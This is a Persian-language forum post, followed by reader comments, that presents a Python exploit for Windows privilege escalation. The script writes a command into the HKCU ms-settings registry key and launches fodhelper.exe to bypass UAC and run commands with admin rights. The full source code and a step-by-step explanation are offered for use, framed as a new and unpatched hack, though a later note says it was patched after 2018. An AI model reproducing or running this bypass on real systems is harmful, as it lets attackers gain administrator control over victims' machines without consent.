به نام خدا
سلام عزیزان دل، یه اکسپلویتی رو اوردم که اشک همتونو در میاره!! این اکسپلویت دسترسی ادمین هست که کاملا هم جدیده و فعلا تا اونجایی که من میدونم بچ نشده، برای ویندوز 7 که قطعا نشده چون دیگه امسال آپدیتی ازش در نمیاد... بقیه رو هم فعلا بچ نشده، اکسپلویت برای حدودای 1 ماه پیشه که، کارش اینه که از یک اسیب پذیری در ریجیستری استفاده کنه و سی ام دی رو اجرا کنه و دستوراتی رو که هکر میخواد اجرا کنه، ما اینجا فرض رو بر این گرفتیم که قراره در درایو سی، یک فایل متنی ساده درست کنیم، قطعا در تمامی شرایط، واجب دریافت دسترسی ادمین از سوی کاربر هستیم... خب، این اکسپلویت، همونطور که گفتم قراره یه دستور سی ام دی رو انجام بده، من میخوام برنامه ام یه فایل متنی در.... بسازه، این رو اول برنامه ام قرار میدم، اما چون به دس... نرسیدیم خطا میده، به همین دلیل ما اونو در try و except قرار میدیم، جوری که فایل رو بسازه و درصورتی که خطا داد از pass استفاده کنه، به این معنی که خطا نده و برنامه کار خودش رو انجام بده، در این اکسپلویت میخوایم که اگر برناممون خطا داد، دسترسی ادمین رو بگیریم و مجددا با دستور زیر که برای سی ام دی هست و میتونید تغییرش بدید، برنامه رو از اول اجرا کنیم، سورس اکسپلویت به شکل زیره :
import os
import sys
import ctypes
import winreg
try :
with open("C:\\virus32.txt" , "w")as d:
d.write("virus32")
except:
pass
CMD = r'C:\Windows\System32\cmd.exe'
FOD_HELPER = r'C:\Windows\System32\fodhelper.exe'
PYTHON_CMD = "python"
REG_PATH = 'Software\Classes\ms-settings\shell\open\command'
DELEGATE_EXEC_REG_KEY = 'DelegateExecute'
def is_running_as_admin():
'''
Checks if the script is running with administrative privileges.
Returns True if is running as admin, False otherwise.
'''
try:
return ctypes.windll.shell32.IsUserAnAdmin()
except:
return False
def create_reg_key(key, value):
'''
Creates a reg key
'''
try:
winreg.CreateKey(winreg.HKEY_CURRENT_USER, REG_PATH)
registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_PATH, 0, winreg.KEY_WRITE)
winreg.SetValueEx(registry_key, key, 0, winreg.REG_SZ, value)
winreg.CloseKey(registry_key)
except WindowsError:
raise
def bypass_uac(cmd):
'''
Tries to bypass the UAC
'''
try:
create_reg_key(DELEGATE_EXEC_REG_KEY, '')
create_reg_key(None, cmd)
except WindowsError:
raise
def execute():
if not is_running_as_admin():
try:
current_dir = os.getcwd()+r'1.py'
cmd = '{} /k {} {}'.format(CMD,PYTHON_CMD,current_dir)
bypass_uac(cmd)
os.system(FOD_HELPER)
sys.exit(0)
except WindowsError:
sys.exit(1)
else:
pass
execute()
خب، ابتدا در اکسپلویت، یک سری متغیر تعریف کردیم، اولی که ادرس سی ام دیه، دومی فایل اسیب پذیر ماست، سومی هم نوشته پایتون که برای اجرا کردن اسکریپتمونه، اینو بگم چون ما فایلمون اجرایی نیست از این متغیر استفاده کردیم که یعنی با پایتون اجرا کن، چهارمی و پنجمی، ادرس ریجیستری اسیب پذیر ماست، خب، یک تابع نوشتیم به اسم is_runing_as_admin که کار خاصی نمیکنه... این تابع میاد تا برناممون رو با دسترسی ادمین اجرا کنه که خیلی روش زوم نکنید چون روی ویندوز های ضعیف عمل میکنه، برای همین سازنده اومده از try و.. استفاده کرده که اگر خطا داد، مقدار false رو برگردونه که یعنی موفقیت امیز نبوده، اینم بگم که همونطور که میبینید در این تابع از تابع دیگری به اسم ctypes....استفاده شده، کتابخونه ctypes، یک تابعی داره که میاد تا با دسترسی ادمین اجرا کنه و الان کاربرد نداره، گفتم رو ویندوز های... خب تابع اصلی ما که میاد از آسیب پذیری اصلی در ریجیستری استفاده میکنه که باعث میشه ما سی ام دی رو با دسترسی ادمین اجرا کنیم و مقدار بهش بدیم... دوستان شاید بعضی هاتون هنوز متوجه نشدید، فکر نکنید سی ام دی باز میشه تا دستور رو بزنیم، اتفاقا اینجوری نیست و خیلی راحت شل میگیریم و با سوییچ های سی ام دی کار میکنیم و هر دستوری که دوست داشتید میتونید کار کنید... تابع بعدی رو هم تقریبا الکی ساختن همون تابع قبلی رو فراخوانی میکنه D: تابع بعدی مون میاد از همه توابعمون استفاده میکنه، میاد از تابع دسترسی ادمین استفاده میکنه که ببینه ما تونستیم شل بگیریم یا نه، که قطعا جواب فالز یعنی خیر هست و میبینه که اگر نتیجه منفیه از تابع ریجیستری استفاده کنه و مقدار هایی رو که ما دادیم رو با سی ام دی اجرا کنه، در متغیر current_dir ما ادرس برناممون رو میدیم... به همین سادگی همرو درون یک متغیر میزاره و میگه که به برنامه ای در درایو سی به اسم سی ام دی با سوییچ((سوییچ همون دستوراتمونه که برای سی ام دیه و ما بهش اجرا کردن خود برناممون رو دادیم) دسترسی ادمین بده و بازش کن! در اخر هم برنامه رو مجددا اجرا میکنه! به همین سادگی... تونستیم این مانع نحس رو دور بزنیم، اونم تو پایتون (: دوستان مجددا میگم دقت کنید اون دستور پایتون برای اسکریپتمونه و در فایل اجرایی باید اونو برداریناااا...با تشکر از اقایان ویروس و کدر و اتکر عزیز و میکروب... خدافظ D:
توجه: این پست از سال 2018 به بعد بچ شده! :(
به قول جادی یه اتریب بودمم ای کاش آخرش میزدی :)
خیلی عالی بود اتریب:)
حال کردم
0_o
از کجی در میاری آخع؟؟
راستی یه جیز باحال =» برو با C ویروس بنویس نه با پایتون:)
آشناست؟؟
شوخی کردم بابا :)
خیلی عالیه من که خیلی نیاز دارم به پاتون
چون تقریبا غرقش شدم :(
خیلی جالبه کار باهاش
و جدیدا فهمیدم یک چیزیه شبیه اسکرچ:(
یعنی زبانیه برای یادگیری سریع برای اون هایی که تازه کارن
ولی خیلی دوسش دارم
بالاخره با قاشق بچه هم میشه پیچ یه بمب اتمی رو سفت کرد
(چه ربطی داشت؟)
return فردا امتحان دارم 0_O
]i odx!
]i fn
nd'i hdk ckn'd v, kldo,hl hnhli fnl
hi
ila hljphk :(
]d;hv ;kl Hoi????
خوب فعلا خدافظ:)